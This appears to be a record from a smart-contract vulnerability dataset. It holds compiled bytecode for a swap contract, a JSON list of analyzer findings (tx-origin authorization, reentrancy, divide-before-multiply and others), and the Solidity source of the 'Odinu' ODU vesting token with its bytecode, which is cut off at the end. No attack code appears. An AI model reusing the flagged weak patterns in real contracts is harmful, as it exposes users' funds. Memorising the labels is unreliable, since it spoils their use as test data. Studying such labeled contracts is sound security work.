00082108015610ce05750806f0785ee10d5da46d900f436a000000000115b610d4b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a313100000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6103e86bffffffffffffffffffffffff808816860282026f0785ee10d5da46d900f436a0000000009081039491881686029092028203929082038002910380020182800282800201811115610e0157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a313200000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b50505050505050610e238163ffffffff16602087901b608089901b1717612225565b6040805177ffffffffffffffffffffffffffffffffffffffffffffffff606086901b8517811682528e166020820152815173ffffffffffffffffffffffffffffffffffffffff8e169233927fb012f6bccd0b85573edfdb6420146759de2ef3294894ba952900f9b67221e800929081900390910190a350506001600a5550505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610f705773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610f3e9083612390565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610f7b848484612402565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff1632148015610fe25750600c5460d81c60ff1615155b61104d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a330000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600c80547fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000600a5460011461110f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a310000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000600a819055600c548154600954600754604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9586169694958416946bffffffffffffffffffffffff608086901c169477ffffffffffffffffffffffffffffffffffffffffffffffff602091821c1694919373ffffffffffffffffffffffffffffffffffffffff909216926370a08231926024808201939291829003018186803b1580156111e757600080fd5b505afa1580156111fb573d6000803e3d6000fd5b505050506040513d602081101561121157600080fd5b5051600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d60208110156112b457600080fd5b5051905066ffffffffffffff60a088901c8116830290606889901c1682026c01000000000000000000000000821080156112fa57506c0100000000000000000000000081105b801561131e5750662386f26fc100008210158061131e5750662386f26fc100008110155b61138957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a370000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b876113c75761ffff60488a901c811683810260388c901c9092168381029290920160011c9b50906113bf606087901b86176124d7565b5050506115bd565b60006113d28a61274d565b600080549a50909150806bffffffffffffffffffffffff891661143c5785886bffffffffffffffffffffffff168466ffffffffffffff16028161141157fe5b0491506bffffffffffffffffffffffff881661142d8c88612872565b8161143457fe5b049050611548565b6bffffffffffffffffffffffff881661148d5786896bffffffffffffffffffffffff168466ffffffffffffff16028161147157fe5b0491506bffffffffffffffffffffffff891661142d8c89612872565b886bffffffffffffffffffffffff168602886bffffffffffffffffffffffff168802106114fd5785886bffffffffffffffffffffffff168466ffffffffffffff1602816114d657fe5b046bffffffffffffffffffffffff89166114f08d89612872565b816114f757fe5b04611542565b86896bffffffffffffffffffffffff168466ffffffffffffff16028161151f57fe5b046bffffffffffffffffffffffff8a166115398d8a612872565b8161154057fe5b045b90925090505b600c80547fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffff000000000000008e16939093177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16929092179091558990039a50505b6115c78b8b6128f8565b6115e28763ffffffff16602085901b608087901b1717612225565b6040805177ffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff898116880360601b908916870317168152905133917fa49ad0c855555d830c28c068a6fae698ed91250e1da888c05dd52bf5965bf7f1919081900360200190a250506001600a555095979650505050505050565b60016020526000908152604090205481565b60046020526000908152604090205481565b6000600a546001146116f757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a310000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000600a55600954600754600854600c547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9384169373ffffffffffffffffffffffffffffffffffffffff9384169390921691611750911661274d565b506000805430825260016020526040822054909182611781836bffffffffffffffffffffffff60808a901c16612872565b8161178857fe5b0490506000836117aa846bffffffffffffffffffffffff60208b901c16612872565b816117b157fe5b04905080606083901b17975060008877ffffffffffffffffffffffffffffffffffffffffffffffff161161184657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a380000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611850308461299c565b61185b868a84612048565b611866858a83612048565b60008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118cf57600080fd5b505afa1580156118e3573d6000803e3d6000fd5b505050506040513d60208110156118f957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160609173ffffffffffffffffffffffffffffffffffffffff8b16916370a0823191602480820192602092909190829003018186803b15801561196b57600080fd5b505afa15801561197f573d6000803e3d6000fd5b505050506040513d602081101561199557600080fd5b5051901b1790506119cf7bffffffffffffffffffffffffffffffffffffffffffffffff00000000602083901b1663ffffffff8a1617612225565b77ffffffffffffffffffffffffffffffffffffffffffffffff8116156119fa576119f8816124d7565b505b6040805177ffffffffffffffffffffffffffffffffffffffffffffffff8b168152905173ffffffffffffffffffffffffffffffffffffffff8c169133917fbb63458b648c52f605e5b6a71dd15564464c1e26d420ab1aa4aa3c2753b7c8a49181900360200190a350506001600a5550949695505050505050565b6040518060400160405280600681526020017f435357504c54000000000000000000000000000000000000000000000000000081525081565b600c547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1615611b3a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a320000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600780547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff95861617909155600880549091169290931691909117909155600c80547fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff163214611c6457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a313100000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000610758338484612402565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60085473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611d5f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a303100000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611ec0573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611f3b57508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611fa657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f435357503a303200000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611fb1898989611fd9565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000178152925182516000946060949389169392918291908083835b6020831061211e57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120e1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612180576040519150601f19603f3d011682016040523d82523d6000602084013e612185565b606091505b50915091508180156121b35750805115806121b357508080602001905160208110156121b057600080fd5b50515b61221e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a360000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b5050505050565b804281900363ffffffff811615801590612245575060008263ffffffff16115b1561230357600c547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811690604881901c61ffff90811691603881901c9091169060a081901c66ffffffffffffff90811681831660808a901c86028102919091026e01ed09bead87c0378d8e64000000009081039360681c90921660208a901c6bffffffffffffffffffffffff16850290910202900363ffffffff861681840283860260601b816122ee57fe5b600b8054929091049290920201905550505050505b600980547fffffffff000000000000000000000000000000000000000000000000000000001663ffffffff831685017bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1617905560408051602085811c825291517f8a0df8ef054fae2c3d2d19a7b322e864870cc9fd3cb07fb9526309c596244bf4929181900390910190a1505050565b8082038281111561075c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff83166000908152600160205260409020546124329082612390565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260016020526040808220939093559084168152205461246e9082612a55565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000808277ffffffffffffffffffffffffffffffffffffffffffffffff161161256157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a340000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600c547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff81169060646bffffffffffffffffffffffff808616603884901c61ffff90811691909102606885901c66ffffffffffffff90811691909102606089901c93909316604886901c83160260a086901c91909116028281019384029484800261271090810270ffffffffffffffffffffffffffffffffff60589390931c929092160190921690800292800292909201918202019190614e20810280841161268757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f435357503a350000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b612692818503612ac7565b93508484116126a3578385036126a7565b8385015b905081816d04ee2d6d415b85acef810000000002816126c257fe5b0460010196508666ffffffffffffff16867bffffffffffffffffffffffffffffffffffffffffff000000000000001617600c60006101000a8154817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff160217905550505050505050919050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b857600080fd5b505afa1580156127cc573d6000803e3d6000fd5b505050506040513d60208110156127e257600080fd5b50516009549091506128109060201c77ffffffffffffffffffffffffffffffffffffffffffffffff166124d7565b91508166ffffffffffffff168366ffffffffffffff16111561286c5761286c8183856005020166ffffffffffffff1661285f85870366ffffffffffffff1660005461287290919063ffffffff16565b8161286657fe5b046128f8565b50919050565b600081158061288d5750508082028282828161288a57fe5b04145b61075c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b6000546129059082612a55565b600090815573ffffffffffffffffffffffffffffffffffffffff83168152600160205260409020546129379082612a55565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129cc9082612390565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a009082612390565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b8082018281101561075c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b60006003821115612ba7576000826fffffffffffffffffffffffffffffffff811115612af5576080918201911c5b67ffffffffffffffff811115612b0d576040918201911c5b63ffffffff811115612b21576020918201911c5b61ffff811115612b33576010918201911c5b60ff811115612b44576008918201911c5b600f811115612b54576004820191505b6004919091019083600181811c016002808504900a808210612b765780612b78565b815b95505b82861015612b9d57859250600183848981612b9257fe5b0401901c9550612b7b565b5050505050612bb1565b8115612bb1575060015b91905056fea26469706673582212206f45627a3c1cec13ae9501633a99dcffa80b3e8bf124c9023232a98b7f5e83c964736f6c63430007040033a264697066735822122064db487cb806c8182b55046b8957e2e7485c04bbdead622645f5d6199435e4c364736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}]}}
7,303
0x603c55c343F9B40eCA3bD9F8BA7c8b9280f99aEB
/** *Submitted for verification at Etherscan.io on 2021-03-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.0; contract Ownable { address public owner; address private _nextOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner() { require(msg.sender == owner, 'Only the owner of the contract can do that'); _; } function transferOwnership(address nextOwner) public onlyOwner { _nextOwner = nextOwner; } function takeOwnership() public { require(msg.sender == _nextOwner, 'Must be given ownership to do that'); emit OwnershipTransferred(owner, _nextOwner); owner = _nextOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b != 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract OdinuDistribution is Ownable { using SafeMath for uint256; // 0 - SEED // 1 - PRIVATE // 2 - TEAM // 3 - ADVISOR // 4 - ECOSYSTEM // 5 - LIQUIDITY // 6 - RESERVE enum POOL{SEED, PRIVATE, TEAM, ADVISOR, ECOSYSTEM, LIQUIDITY, RESERVE} mapping (POOL => uint) public pools; uint256 public totalSupply; string public constant name = "Odinu"; uint256 public constant decimals = 18; string public constant symbol = "ODU"; address[] public participants; bool private isActive; uint256 private scanLength = 150; uint256 private continuePoint; uint256[] private deletions; mapping (address => uint256) private balances; mapping (address => mapping(address => uint256)) private allowances; mapping (address => uint256) public lockoutPeriods; mapping (address => uint256) public lockoutBalances; mapping (address => uint256) public lockoutReleaseRates; event Active(bool isActive); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); event Burn(address indexed tokenOwner, uint tokens); constructor () { pools[POOL.SEED] = 15000000 * 10**decimals; pools[POOL.PRIVATE] = 16000000 * 10**decimals; pools[POOL.TEAM] = 18400000 * 10**decimals; pools[POOL.ADVISOR] = 10350000 * 10**decimals; pools[POOL.ECOSYSTEM] = 14375000 * 10**decimals; pools[POOL.LIQUIDITY] = 8625000 * 10**decimals; pools[POOL.RESERVE] = 32250000 * 10**decimals; totalSupply = pools[POOL.SEED] + pools[POOL.PRIVATE] + pools[POOL.TEAM] + pools[POOL.ADVISOR] + pools[POOL.ECOSYSTEM] + pools[POOL.LIQUIDITY] + pools[POOL.RESERVE]; // Give POLS private sale directly uint pols = 2000000 * 10**decimals; pools[POOL.PRIVATE] = pools[POOL.PRIVATE].sub(pols); balances[address(0xeFF02cB28A05EebF76cB6aF993984731df8479b1)] = pols; // Give LIQUIDITY pool their half directly uint liquid = pools[POOL.LIQUIDITY].div(2); pools[POOL.LIQUIDITY] = pools[POOL.LIQUIDITY].sub(liquid); balances[address(0xd6221a4f8880e9Aa355079F039a6012555556974)] = liquid; } function _isTradeable() internal view returns (bool) { return isActive; } function isTradeable() public view returns (bool) { return _isTradeable(); } function setTradeable() external onlyOwner { require (!isActive, "Can only set tradeable when its not already tradeable"); isActive = true; Active(true); } function setScanLength(uint256 len) external onlyOwner { scanLength = len; } function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint) { return allowances[tokenOwner][spender]; } function spendable(address tokenOwner) public view returns (uint) { return balances[tokenOwner].sub(lockoutBalances[tokenOwner]); } function transfer(address to, uint tokens) public returns (bool) { require (_isTradeable(), "Contract is not tradeable yet"); require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens"); require (tokens > 0, "Must transfer non-zero amount"); require (to != address(0), "Cannot send to the 0 address"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function approve(address spender, uint tokens) public returns (bool) { _approve(msg.sender, spender, tokens); return true; } function _approve(address owner, address spender, uint tokens) internal { require (owner != address(0), "Cannot approve from the 0 address"); require (spender != address(0), "Cannot approve the 0 address"); allowances[owner][spender] = tokens; Approval(owner, spender, tokens); } function burn(uint tokens) public { require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens"); require (tokens > 0, "Must burn non-zero amount"); balances[msg.sender] = balances[msg.sender].sub(tokens); totalSupply = totalSupply.sub(tokens); Burn(msg.sender, tokens); } function transferFrom(address from, address to, uint tokens) public returns (bool) { require (_isTradeable(), "Contract is not trading yet"); require (balances[from].sub(lockoutBalances[from]) >= tokens, "Must have enough spendable tokens"); require (allowances[from][msg.sender] >= tokens, "Must be approved to spend that much"); require (tokens > 0, "Must transfer non-zero amount"); require (from != address(0), "Cannot send from the 0 address"); require (to != address(0), "Cannot send to the 0 address"); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowances[from][msg.sender] = allowances[from][msg.sender].sub(tokens); Transfer(from, to, tokens); return true; } function addParticipants(POOL pool, address[] calldata _participants, uint256[] calldata _stakes) external onlyOwner { require (pool >= POOL.SEED && pool <= POOL.RESERVE, "Must select a valid pool"); require (_participants.length == _stakes.length, "Must have equal array sizes"); uint lockoutPeriod; uint lockoutReleaseRate; if (pool == POOL.SEED) { lockoutPeriod = 1; lockoutReleaseRate = 5; } else if (pool == POOL.PRIVATE) { lockoutReleaseRate = 4; } else if (pool == POOL.TEAM) { lockoutPeriod = 12; lockoutReleaseRate = 12; } else if (pool == POOL.ADVISOR) { lockoutPeriod = 6; lockoutReleaseRate = 6; } else if (pool == POOL.ECOSYSTEM) { lockoutPeriod = 3; lockoutReleaseRate = 9; } else if (pool == POOL.LIQUIDITY) { lockoutReleaseRate = 1; lockoutPeriod = 1; } else if (pool == POOL.RESERVE) { lockoutReleaseRate = 18; } uint256 sum; uint256 len = _participants.length; for (uint256 i = 0; i < len; i++) { address p = _participants[i]; require(lockoutBalances[p] == 0, "Participants can't be involved in multiple lock ups simultaneously"); participants.push(p); lockoutBalances[p] = _stakes[i]; balances[p] = balances[p].add(_stakes[i]); lockoutPeriods[p] = lockoutPeriod; lockoutReleaseRates[p] = lockoutReleaseRate; sum = sum.add(_stakes[i]); } require(sum <= pools[pool], "Insufficient amount left in pool for this"); pools[pool] = pools[pool].sub(sum); } function finalizeParticipants(POOL pool) external onlyOwner { uint leftover = pools[pool]; pools[pool] = 0; totalSupply = totalSupply.sub(leftover); } /** * For each account with an active lockout, if their lockout has expired * then release their lockout at the lockout release rate * If the lockout release rate is 0, assume its all released at the date * Only do max 100 at a time, call repeatedly which it returns true */ function updateRelease() external onlyOwner returns (bool) { uint scan = scanLength; uint len = participants.length; uint continueAddScan = continuePoint.add(scan); for (uint i = continuePoint; i < len && i < continueAddScan; i++) { address p = participants[i]; if (lockoutPeriods[p] > 0) { lockoutPeriods[p]--; } else if (lockoutReleaseRates[p] > 0) { uint rate = lockoutReleaseRates[p]; uint release; if (rate == 18) { // First release of reserve is 12.5% release = lockoutBalances[p].div(8); } else { release = lockoutBalances[p].div(lockoutReleaseRates[p]); } lockoutBalances[p] = lockoutBalances[p].sub(release); lockoutReleaseRates[p]--; } else { deletions.push(i); } } continuePoint = continuePoint.add(scan); if (continuePoint >= len) { continuePoint = 0; while (deletions.length > 0) { uint index = deletions[deletions.length-1]; deletions.pop(); participants[index] = participants[participants.length - 1]; participants.pop(); } return false; } return true; } }
0x608060405234801561001057600080fd5b50600436106101a85760003560e01c806360536172116100f9578063a457c2d711610097578063c36d16a911610071578063c36d16a914610578578063dd62ed3e14610595578063f2fde38b146105c3578063fb87a635146105e9576101a8565b8063a457c2d714610518578063a9059cbb14610544578063c1cda90214610570576101a8565b80638da5cb5b116100d35780638da5cb5b146104bc57806395d89b41146104c457806398fd6108146104cc578063a219fdd6146104f2576101a8565b8063605361721461046857806363ae9f6e1461047057806370a0823114610496576101a8565b806323b872dd11610166578063395093511161014057806339509351146103f157806342966c681461041d57806344fa7b241461043a5780635db5f57b14610442576101a8565b806323b872dd1461037a578063313ce567146103b057806335c1d349146103b8576101a8565b8062ab73e2146101ad57806306fdde03146101cf578063095ea7b31461024c57806318160ddd1461028c5780631b4c84d2146102a657806321563ebd146102ae575b600080fd5b6101cd600480360360208110156101c357600080fd5b503560ff16610609565b005b6101d76106c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102115781810151838201526020016101f9565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102786004803603604081101561026257600080fd5b506001600160a01b0381351690602001356106e3565b604080519115158252519081900360200190f35b6102946106f9565b60408051918252519081900360200190f35b6102786106ff565b6101cd600480360360608110156102c457600080fd5b60ff82351691908101906040810160208201356401000000008111156102e957600080fd5b8201836020820111156102fb57600080fd5b8035906020019184602083028401116401000000008311171561031d57600080fd5b91939092909160208101903564010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b50909250905061070f565b6102786004803603606081101561039057600080fd5b506001600160a01b03813581169160208101359091169060400135610b7a565b610294610eab565b6103d5600480360360208110156103ce57600080fd5b5035610eb0565b604080516001600160a01b039092168252519081900360200190f35b6102786004803603604081101561040757600080fd5b506001600160a01b038135169060200135610ed7565b6101cd6004803603602081101561043357600080fd5b5035610f12565b61027861103f565b6102946004803603602081101561045857600080fd5b50356001600160a01b031661136a565b6101cd61137c565b6102946004803603602081101561048657600080fd5b50356001600160a01b0316611426565b610294600480360360208110156104ac57600080fd5b50356001600160a01b0316611438565b6103d5611453565b6101d7611462565b610294600480360360208110156104e257600080fd5b50356001600160a01b0316611481565b6102946004803603602081101561050857600080fd5b50356001600160a01b0316611493565b6102786004803603604081101561052e57600080fd5b506001600160a01b0381351690602001356114c6565b6102786004803603604081101561055a57600080fd5b506001600160a01b0381351690602001356114fc565b6101cd611710565b6101cd6004803603602081101561058e57600080fd5b50356117df565b610294600480360360408110156105ab57600080fd5b506001600160a01b038135811691602001351661182d565b6101cd600480360360208110156105d957600080fd5b50356001600160a01b0316611858565b610294600480360360208110156105ff57600080fd5b503560ff166118c3565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040180806020018281038252602a815260200180611be3602a913960400191505060405180910390fd5b60006002600083600681111561066457fe5b600681111561066f57fe5b815260200190815260200160002054905060006002600084600681111561069257fe5b600681111561069d57fe5b81526020810191909152604001600020556003546106bb90826118d5565b6003555050565b604051806040016040528060058152602001644f64696e7560d81b81525081565b60006106f033848461199a565b50600192915050565b60035481565b6000610709611a9c565b90505b90565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040180806020018281038252602a815260200180611be3602a913960400191505060405180910390fd5b600085600681111561076657fe5b101580156107805750600685600681111561077d57fe5b11155b6107d1576040805162461bcd60e51b815260206004820152601860248201527f4d7573742073656c65637420612076616c696420706f6f6c0000000000000000604482015290519081900360640190fd5b828114610825576040805162461bcd60e51b815260206004820152601b60248201527f4d757374206861766520657175616c2061727261792073697a65730000000000604482015290519081900360640190fd5b6000808087600681111561083557fe5b141561084757506001905060056108f8565b600187600681111561085557fe5b1415610863575060046108f8565b600287600681111561087157fe5b14156108825750600c9050806108f8565b600387600681111561089057fe5b14156108a1575060069050806108f8565b60048760068111156108af57fe5b14156108c157506003905060096108f8565b60058760068111156108cf57fe5b14156108e0575060019050806108f8565b60068760068111156108ee57fe5b14156108f8575060125b600085815b81811015610a9e57600089898381811061091357fe5b905060200201356001600160a01b03169050600c6000826001600160a01b03166001600160a01b03168152602001908152602001600020546000146109895760405162461bcd60e51b8152600401808060200182810382526042815260200180611b3c6042913960600191505060405180910390fd5b600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319166001600160a01b0383161790558787838181106109e057fe5b6001600160a01b0384166000908152600c602090815260409091209102929092013590915550610a3d888884818110610a1557fe5b6001600160a01b03851660009081526009602090815260409091205493910201359050611aa5565b6001600160a01b038216600090815260096020908152604080832093909355600b8152828220899055600d905220859055610a93888884818110610a7d57fe5b9050602002013585611aa590919063ffffffff16565b9350506001016108fd565b50600260008a6006811115610aaf57fe5b6006811115610aba57fe5b815260200190815260200160002054821115610b075760405162461bcd60e51b8152600401808060200182810382526029815260200180611c2f6029913960400191505060405180910390fd5b610b4382600260008c6006811115610b1b57fe5b6006811115610b2657fe5b8152602001908152602001600020546118d590919063ffffffff16565b600260008b6006811115610b5357fe5b6006811115610b5e57fe5b8152602081019190915260400160002055505050505050505050565b6000610b84611a9c565b610bd5576040805162461bcd60e51b815260206004820152601b60248201527f436f6e7472616374206973206e6f742074726164696e67207965740000000000604482015290519081900360640190fd5b6001600160a01b0384166000908152600c60209081526040808320546009909252909120548391610c0691906118d5565b1015610c435760405162461bcd60e51b8152600401808060200182810382526021815260200180611bc26021913960400191505060405180910390fd5b6001600160a01b0384166000908152600a60209081526040808320338452909152902054821115610ca55760405162461bcd60e51b8152600401808060200182810382526023815260200180611b7e6023913960400191505060405180910390fd5b60008211610cfa576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b038416610d55576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f742073656e642066726f6d20746865203020616464726573730000604482015290519081900360640190fd5b6001600160a01b038316610db0576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038416600090815260096020526040902054610dd390836118d5565